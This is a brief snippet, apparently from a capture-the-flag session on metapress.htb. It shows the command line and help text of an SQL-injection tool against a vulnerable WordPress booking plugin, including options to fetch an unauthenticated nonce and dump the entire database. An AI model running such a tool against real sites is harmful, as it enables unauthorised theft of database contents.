python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump

usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     URL of WordPress server with vulnerable plugin (http://example.domain)
  -o BASENAME, --out BASENAME
                        Output database schema and dump in JSON format
  -p PAYLOAD, --payload PAYLOAD
                        Payload to inject. Should start with ')'
  -a, --dump-all        Enables whole DB dump
  -v, --verbose         Enables verbose mode
  -n NONCE, --nonce NONCE
                        Nonce that you got as unauthenticated user
  -nu NONCE_URL, --nonce-url NONCE_URL
                        URL where nonce can be extracted (bookingprss form page)